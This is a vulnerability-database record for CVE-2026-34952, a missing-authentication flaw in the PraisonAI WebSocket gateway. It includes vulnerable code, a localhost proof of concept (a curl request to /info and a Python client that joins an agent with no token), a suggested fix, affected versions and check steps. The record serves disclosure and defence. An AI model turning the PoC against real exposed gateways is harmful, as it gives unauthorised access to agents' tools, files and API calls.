{"id":"CVE-2026-34952","kind":"vulnerability","aliases":["CVE-2026-34952","GHSA-cfh6-vr3j-qc3g"],"related":[],"title":"PraisonAI Has Missing Authentication in WebSocket Gateway","description":"### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n    return JSONResponse({\n        \"agents\": list(self._agents.keys()),\n        \"sessions\": len(self._sessions),\n        \"clients\": len(self._clients),\n    })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    client_id = str(uuid.uuid4())\n    self._clients[client_id] = websocket\n    # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())\" &\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:\n        print('Connected with no auth')\n        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))\n        print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n    token = websocket.query_params.get(\"token\") or \\\n            websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n    if self._config.auth_token and token != self._config.auth_token:\n        await websocket.close(code=4001, reason=\"Unauthorized\")\n        return\n    await websocket.accept()\n```","summary":"The PraisonAI Gateway accepts WebSocket connections at `/ws` and lists agent IDs at `/info` with no authentication. Any network client can enumerate agents and send them messages that reach their tools, including file reads and API calls.","severity":"critical","cvss":9.1,"epss":0.00452,"exploited":false,"exploited_at":null,"products":[{"name":"praisonai","fixed":["4.5.97"],"affected":"<= 4.5.96","ecosystem":"pypi"},{"name":"praison praisonai","fixed":["4.5.97"],"affected":"< 4.5.97","ecosystem":"vendor"},{"via":"cpe","name":"PraisonAI","fixed":["4.5.97"],"affected":"< 4.5.97","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["ai-agents","ai-tooling","cwe-306","praisonai","python","websocket-gateway"],"not_affected_if":["gateway-not-running","no-network-exposure"],"how_to_check":"- Run `pip show praisonai` and compare the version with `4.5.97`.\n- Check whether the gateway is running: look for `WebSocketGateway` or `praisonai.gateway` in your startup code.\n- Request `/info` on the gateway host; an unauthenticated JSON response listing agents means it is exposed.","fix":"- `praisonai` to `4.5.97` or later (fixed version in the product data).","status":"open","published_at":"2026-04-01T23:28:04+00:00","first_seen_at":"2026-11-16T15:58:20+00:00","triaged_at":"2026-11-16T15:58:39+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-16T15:58:39Z","model":"claude-haiku-5-5","output":{"fix":"- `praisonai` to `4.5.97` or later (fixed version in the product data).","reach":"network","title":"PraisonAI: gateway accepts unauthenticated WebSocket connections, exposing agent tools","impact":"high","summary":"The PraisonAI Gateway accepts WebSocket connections at `/ws` and lists agent IDs at `/info` with no authentication. Any network client can enumerate agents and send them messages that reach their tools, including file reads and API calls.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["praisonai","python","ai-agents","websocket-gateway"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Attacker runs agent tools, reads files, and calls APIs","analyst_note":"","how_to_check":"- Run `pip show praisonai` and compare the version with `4.5.97`.\n- Check whether the gateway is running: look for `WebSocketGateway` or `praisonai.gateway` in your startup code.\n- Request `/info` on the gateway host; an unauthenticated JSON response listing agents means it is exposed.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["gateway-not-running","no-network-exposure"],"who_is_affected":"Teams running the PraisonAI Gateway server, which serves `/ws` and `/info`, are exposed. The advisory notes that `GatewayConfig` has an `auth_token` field that the handler never checks, so setting it does not block access on affected versions. Teams that only use PraisonAI as a local library without starting the gateway can skip it.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.00144,"input_tokens":5505,"output_tokens":1778,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':9A,17A '-306':30B '-34952':10A,18A '/info':49B,88C,119C,297C '/ws':43B,82C '0':220C,222C '1':202C '1.0.0':217C '127.0.0.1':197C,209C,242C '2':224C '242':112C '250':115C '3':265C '4.5.87':176C '4001':350C '8765':199C '8765/info':210C '8765/ws':243C 'accept':39B,78C,144C,278C 'access':285C 'agent':25B,46B,58B,85C,99C,105C,122C,133C,204C,218C,256C,295C,303C 'ai':24B,27B 'ai-ag':23B 'ai-tool':26B 'api':71B,310C 'arbitrari':102C,300C 'assist':258C 'async':127C,149C,236C,239C,328C 'asyncio':189C,233C 'asyncio.run':194C,266C 'asyncio.wait':261C 'attack':282C 'auth':126C,206C,250C,273C,315C 'authent':4A,52B,91C 'author':339C 'await':155C,251C,260C,347C,354C 'bash':172C 'bearer':341C 'c':187C,231C 'call':72B,311C 'cfh6':13A 'check':148C 'client':55B,94C,139C,157C,162C,170C,221C 'code':349C 'connect':41B,80C,96C,225C,247C,270C,277C,287C 'curl':207C 'cve':8A,16A 'cwe':29B 'def':128C,150C,237C,329C 'detail':110C 'e':182C 'endpoint':152C,331C 'enforc':321C 'enumer':57B,97C,203C,292C 'execut':306C 'expect':211C,268C 'field':317C 'file':68B,307C 'fix':326C 'gateway':7A,35B,38B,76C,215C,291C 'gateway/server.py':111C,114C 'gatewayconfig':312C 'ghsa':12A 'ghsa-cfh6-vr3j-qc3g':11A 'handler':324C 'host':196C 'id':47B,123C,158C,163C,257C 'impact':279C 'import':188C,192C,232C 'includ':67B,304C 'info':129C 'instal':178C,179C,181C 'join':255C 'json':235C 'json.dumps':253C 'jsonrespons':132C 'leak':120C 'len':137C,140C 'list':45B,134C 'messag':62B,103C,167C,301C 'miss':3A 'name':213C 'network':54B,93C,284C 'never':320C 'output':212C,269C 'pip':180C 'poc':171C 'port':198C 'praison':20A 'praisonai':1A,19A,21A,22A,31B,37B,75C,175C,214C 'praisonai.gateway.server':191C 'print':246C,259C 'process':165C 'python':32B,117C,327C 'python3':186C,230C 'qc3g':15A 'reach':64B 'read':69B,308C 'reason':351C 'regist':98C,294C 'removeprefix':340C 'request':130C 'respond':276C 'return':131C,353C 'run':238C,267C 'self._agents.keys':135C 'self._clients':141C,161C 'self._config.auth_token':343C,346C 'self._sessions':138C 'send':60B,101C,299C 'serv':84C 'server':77C,185C,275C 'session':136C,219C 'set':109C 'sink':116C,142C 'sourc':113C,118C,177C 'src/praisonai':183C 'start':184C,200C 'step':201C,223C 'str':159C 'suggest':325C 'summari':73C 'test':173C 'timeout':264C 'token':147C,229C,316C,334C,336C,345C 'tool':28B,66B,108C,305C 'topolog':86C 'type':254C,274C 'unauthent':281C 'unauthor':352C 'uncondit':145C 'uuid.uuid4':160C 'version':216C 'via':296C 'vr3j':14A 'websocket':6A,34B,40B,79C,143C,151C,153C,154C,164C,227C,234C,290C,330C,332C,333C 'websocket-gateway':33B 'websocket.accept':156C,355C 'websocket.close':348C 'websocket.headers.get':338C 'websocket.query_params.get':335C 'websocketgateway':193C,195C 'websockets.connect':241C 'ws':245C 'ws.recv':263C 'ws.send':252C","nicknames":[],"mitigations":[],"who_affected":"Teams running the PraisonAI Gateway server, which serves `/ws` and `/info`, are exposed. The advisory notes that `GatewayConfig` has an `auth_token` field that the handler never checks, so setting it does not block access on affected versions. Teams that only use PraisonAI as a local library without starting the gateway can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["praisonai","praisonpraisonai"],"ptokens":["praison","praisonai"],"labels":["aiagents","aitooling","critical","cwe306","praisonai","pypi","python","vendor","websocketgateway"],"campaign_type":null,"search_a":"'-2026':9A,17A '-34952':10A,18A 'authent':4A 'cfh6':13A 'cve':8A,16A 'gateway':7A 'ghsa':12A 'ghsa-cfh6-vr3j-qc3g':11A 'miss':3A 'praison':20A 'praisonai':1A,19A,21A,22A 'qc3g':15A 'vr3j':14A 'websocket':6A","search_b":"'-306':30B '/info':49B '/ws':43B 'accept':39B 'agent':25B,46B,58B 'ai':24B,27B 'ai-ag':23B 'ai-tool':26B 'api':71B 'authent':52B 'call':72B 'client':55B 'connect':41B 'cwe':29B 'enumer':57B 'file':68B 'gateway':35B,38B 'id':47B 'includ':67B 'list':45B 'messag':62B 'network':54B 'praisonai':31B,37B 'python':32B 'reach':64B 'read':69B 'send':60B 'tool':28B,66B 'websocket':34B,40B 'websocket-gateway':33B","search_c":"'/info':88C,119C,297C '/ws':82C '0':220C,222C '1':202C '1.0.0':217C '127.0.0.1':197C,209C,242C '2':224C '242':112C '250':115C '3':265C '4.5.87':176C '4001':350C '8765':199C '8765/info':210C '8765/ws':243C 'accept':78C,144C,278C 'access':285C 'agent':85C,99C,105C,122C,133C,204C,218C,256C,295C,303C 'api':310C 'arbitrari':102C,300C 'assist':258C 'async':127C,149C,236C,239C,328C 'asyncio':189C,233C 'asyncio.run':194C,266C 'asyncio.wait':261C 'attack':282C 'auth':126C,206C,250C,273C,315C 'authent':91C 'author':339C 'await':155C,251C,260C,347C,354C 'bash':172C 'bearer':341C 'c':187C,231C 'call':311C 'check':148C 'client':94C,139C,157C,162C,170C,221C 'code':349C 'connect':80C,96C,225C,247C,270C,277C,287C 'curl':207C 'def':128C,150C,237C,329C 'detail':110C 'e':182C 'endpoint':152C,331C 'enforc':321C 'enumer':97C,203C,292C 'execut':306C 'expect':211C,268C 'field':317C 'file':307C 'fix':326C 'gateway':76C,215C,291C 'gateway/server.py':111C,114C 'gatewayconfig':312C 'handler':324C 'host':196C 'id':123C,158C,163C,257C 'impact':279C 'import':188C,192C,232C 'includ':304C 'info':129C 'instal':178C,179C,181C 'join':255C 'json':235C 'json.dumps':253C 'jsonrespons':132C 'leak':120C 'len':137C,140C 'list':134C 'messag':103C,167C,301C 'name':213C 'network':93C,284C 'never':320C 'output':212C,269C 'pip':180C 'poc':171C 'port':198C 'praisonai':75C,175C,214C 'praisonai.gateway.server':191C 'print':246C,259C 'process':165C 'python':117C,327C 'python3':186C,230C 'read':308C 'reason':351C 'regist':98C,294C 'removeprefix':340C 'request':130C 'respond':276C 'return':131C,353C 'run':238C,267C 'self._agents.keys':135C 'self._clients':141C,161C 'self._config.auth_token':343C,346C 'self._sessions':138C 'send':101C,299C 'serv':84C 'server':77C,185C,275C 'session':136C,219C 'set':109C 'sink':116C,142C 'sourc':113C,118C,177C 'src/praisonai':183C 'start':184C,200C 'step':201C,223C 'str':159C 'suggest':325C 'summari':73C 'test':173C 'timeout':264C 'token':147C,229C,316C,334C,336C,345C 'tool':108C,305C 'topolog':86C 'type':254C,274C 'unauthent':281C 'unauthor':352C 'uncondit':145C 'uuid.uuid4':160C 'version':216C 'via':296C 'websocket':79C,143C,151C,153C,154C,164C,227C,234C,290C,330C,332C,333C 'websocket.accept':156C,355C 'websocket.close':348C 'websocket.headers.get':338C 'websocket.query_params.get':335C 'websocketgateway':193C,195C 'websockets.connect':241C 'ws':245C 'ws.recv':263C 'ws.send':252C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-03-31T15:25:43+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-cfh6-vr3j-qc3g","url":"https://github.com/advisories/GHSA-cfh6-vr3j-qc3g","severity":"critical","published_at":"2026-04-01T23:28:04+00:00","modified_at":"2026-11-16T15:58:11+00:00","first_seen_at":"2026-11-16T15:58:20+00:00","fetched_at":"2026-11-16T16:07:02+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-34952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34952","severity":null,"published_at":"2026-04-03T23:17:06+00:00","modified_at":"2026-07-24T22:10:00+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170839,"url":"https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-cfh6-vr3j-qc3g","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170840,"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-31T15:25:43+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00452,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34952"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}